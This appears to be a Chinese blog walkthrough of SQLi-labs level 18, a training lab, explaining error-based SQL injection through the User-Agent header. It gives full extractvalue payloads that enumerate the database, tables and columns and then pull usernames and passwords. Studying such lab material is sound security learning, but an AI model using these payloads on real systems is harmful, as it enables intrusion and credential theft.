SQLI-labs-第十八关

目录

1、判断注入点

2、判断库名

3、判断表名

4、判断字段名

5、判断值


知识点:Http头部注入,报错注入

思路:

通过源代码可以得知,passwd和uname这两个地方使用了check_input函数,会过滤用户的输入,所以这里不是注入点,接下下面有一条insert语句,会对user-agent,进行查询,也会显示出来信息,我们可以在这里进行测试。


1、判断注入点

在user-agent,加上单引号’ ,爆出了数据库语句错误

通过分析报错信息,我们可以得知单引号后还有两个字段,加上注释符#看看

这里还是报错,但没有了后面的字段,我们改成  ‘,1,1)#

这里没有爆出数据库语句错误

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',1,extractvalue(1,concat(0x7e,database())))#

通过extractvalue函数可以爆出函数,说明user-agent这个字段存在单引号闭合错误的注入问题

2、判断库名

为了简化,看起来不那么复杂,我们把之前的user-agent内容删掉,改成

1‘,1,extractvalue(1,concat(0x7e,database())))#

3、判断表名

1',1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))#

通过修改limit的值,可以得到四个表为emails、referers、uagents、users

4、判断字段名

以uesrs表为例

1',1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#

通过修改limit的值可以得知users表的三个字段为id、username、password

5、判断值

1',1,extractvalue(1,concat(0x7e,(select username from security.users limit 0,1))))#

1',1,extractvalue(1,concat(0x7e,(select password from security.users limit 0,1))))#

通过这种方式,就可以得到数据库的信息


这篇文章就先写到这里了,有哪些不足欢迎指正。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值